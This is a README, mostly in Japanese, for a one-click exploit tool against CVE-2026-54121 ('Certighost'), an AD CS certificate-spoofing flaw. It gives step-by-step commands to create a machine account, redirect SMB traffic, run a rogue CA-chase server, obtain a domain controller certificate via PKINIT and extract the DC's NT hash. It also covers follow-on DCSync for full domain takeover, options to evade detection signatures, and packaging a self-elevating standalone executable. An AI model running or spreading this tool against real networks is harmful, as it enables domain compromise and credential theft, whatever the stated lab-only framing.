
CVE-2026-54121(Certighost)的一键利用工具,针对AD CS证书身份欺骗。自动化执行机器账户创建、流量重定向、恶意CA、PKINIT以及NT哈希提取,以实现域沦陷。
CVE-2026-54121(Certighost)ワンクリック悪用ツール —— ローカルラボ/認可テスト専用。
上流 PoC(@h0j3n 分析 / @aniqfakhrul 実装)をベースに改良した Windows ネイティブ版: 自作 WinDivert リダイレクタ(pydivert)を内蔵し、1コマンドで「アカウント作成 → リダイレクト → rogue リスニング → CA chase → ドメインコントローラ身分証明書 → PKINIT → DC マシンアカウント NT ハッシュ」を完了。 Server サービスを停止せず、ホストの設定を一切変更せず、終了時に即復元。
| パッチ | 説明 |
|---|
--redirect | 内蔵 WinDivert リダイレクタ(445 → --lsa-port、狭域フィルタ:listener IP のトラフィックのみハイジャック)。プロセス起動/終了に連動し、終了時に 445 を自動復元。公式 PortBender(公式成果物は CS 専用 32bit リフレクティブ DLL で単独実行不可)の代替 |
--lsa-port | rogue LSA/SMB リスニングポートをパラメータ化(デフォルト 445;--redirect 時はデフォルト 8445) |
os.geteuid ガード | 上流の root チェックが Windows でクラッシュ → hasattr ガード + Windows ポートヒント |
| 準備完了チェックのパラメータ化 | 上流のハードコード port_ok(127.0.0.1, 445) → args.lsa_port |
| PEP 723 ヘッダ | uv run certighost.py ... で直接実行、依存関係を自動解決(git-master impacket 含む)、環境汚染ゼロ |
--new-computer-name | アカウント作成時のカスタム名(GHOST* 検知シグネチャ回避) |
--new-computer-pass | アカウント作成時のカスタムパスワード(ドメインパスワードポリシー準拠必須) |
random.randbytes polyfill | impacket git-master が smbserver インポート時に 3.9+ API を使用。3.8 系で必要、os.urandom で実装 |
| 終了処理で即退場 | GGWP 後に flush + os._exit()(impacket の非 daemon スレッドによる数分間のハングを根治) |
| 終了コードの意味付け | 0 成功 / 1 失敗 |
<dc>.hash.txt 保存 | DC マシンアカウント NT ハッシュをファイルに書き込み(name:lm:nt の1行のみ) |
① 事前チェック(読み取り専用、CA と悪用前提の確認):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Enterprise CA 一覧、Machine テンプレートの発行・登録権限を出力(Domain Computers に Enroll が必要)。
CA マシンで chase フラグを別途確認:certutil -getreg policy\EditFlags(
EDITF_ENABLECHASECLIENTDC が必要;Server 2016 デフォルトインストールで有効を実測確認済み)。
② ワンクリック悪用(Windows、管理者権限):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <本機到達可能IP> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
成果物3点セット(実行ディレクトリに自動保存):
| ファイル | 内容 |
|---|---|
<dc>.pfx | DC 身分証明書(PKINIT 材料) |
<dc>.ccache | Kerberos チケットキャッシュ |
<dc>.hash.txt | DC マシンアカウント NT ハッシュ(name:lm:nt の1行のみ) |
③ クリーンアップ(作成アカウントの削除):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| パラメータ | 説明 |
|---|---|
-d / -u / -p / -H | ドメイン / 低権限ユーザー / パスワード / NTLM ハッシュ |
--dc-ip | DC アドレス(必須) |
--listener IP | rogue リスナー IP(複数 NIC 時は明示指定必須) |
--redirect | Windows コア:内蔵 WinDivert 445 リダイレクト(管理者 + pydivert 必要) |
--lsa-port N | rogue LSA ポート(--redirect 時はデフォルト 8445) |
--new-computer-name | アカウント作成時のカスタム名($ を自動付与) |
--new-computer-pass | アカウント作成時のカスタムパスワード(existing パスと排他) |
--computer-name/--computer-pass/--computer-hash | MAQ 不要:制御済みマシンアカウントを再利用 |
--target-san DC01$ | 偽装ターゲット指定(デフォルトで DC を自動検出) |
--template | 証明書テンプレート(デフォルト Machine) |
--ca / --ca-ip | CA を手動指定 |
--debug | プロトコル段階の全トレース |
Phase1 低権限ユーザーでマシンアカウント作成(MAQ パス自動 / --new-computer-* カスタム / --computer-* 既存再利用)
Phase2 [Windows] 内蔵 WinDivert リダイレクタ:listener_ip:445 -> :lsa_port
狭域フィルタ(該当 IP のみ)、書き換え後のパケットはフィルタ対象外 = 再注入ループなし。ハンドルはプロセス終了でクローズ
Phase3 rogue サーバー:LDAP:389 + LSA/SMB:lsa_port(cdc/rmd chase に応答、DC 身分データを供給)
Phase4 マシン身分で証明書要求を送信(Machine テンプレート)、CA が rogue にコールバック → DC 身分証明書を発行
Phase5 PKINIT → KDC が PAC 内で DC マシンアカウント NT ハッシュを返却 → 抽出して .hash.txt に書き込み
Phase6 (後続)secretsdump DCSync → krbtgt → ドメイン全域掌握。cleanup_ghost で作成アカウントを削除
Linux での使い方は変更なし(root で 445/389 に直接バインド、--redirect なし)。
攻撃チェーンのハッシュ抽出は PKINIT → PAC → NT ハッシュ 経由であり、DCSync ではない:
ハッシュ取得後に secretsdump で DCSync を行うのは第2段階の操作であり、ハッシュの取得元ではない。
# PowerShell 7
./build_exe.ps1 # デフォルト帯 (Win10 / Server 2016+)
./build_exe.ps1 3.10 # 互換帯 (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # レガシー帯 (Win7 SP1 / Server 2008 R2 x64)
成果物 dist\certighost_x64.exe:19-27MB(帯による)、--uac-admin 自己昇格、ゼロ依存。
スクリプトが SHA256 チェックサムを自動出力。
python.org 公式 CPython 3.8.10 を以下のパスにインストールする必要あり(Win7 カーネルを サポートする最後の公式バイナリビルド。新しい UCRT API に非依存):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
インストールコマンド(サイレント、PATH 書き込みなし、ランチャーなし):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
同時に PyInstaller==5.13.2(6.x bootloader は Win7 カーネル非対応)と cryptography==38.0.4(Rust ホイールは 38.x 以降 Win10+ を要求)を固定。いずれもスクリプト内で固定済み。
| 帯 | 実機システム | フルチェーン | 備考 |
|---|---|---|---|
| デフォルト | Win11 | ✅ | |
| 互換 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | WinDivert 実機含む |
| レガシー legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 公式 3.8.10 + PyInstaller 5.13.2 |
PyInstaller+impacket はアンチウイルス検知の重災地帯である点に注意。配布前に自己評価すること。
ciphertext integrity failure:1回観測、リトライで回復certighost.py メイン exploit(上流 + Windows ネイティブ化パッチ + PEP 723)
certighost_redirect.py 自作 WinDivert 445 リダイレクタ(pydivert;--selftest/--e2e 自己テスト)
check_ca.py 事前チェック:CA/テンプレート/登録権限/chase フラグ(読み取り専用)
cleanup_ghost.py 後処理:作成アカウントの削除
build_exe.ps1 PyInstaller 単一ファイルパッケージング(pwsh7、3帯マトリクス、自動 SHA256)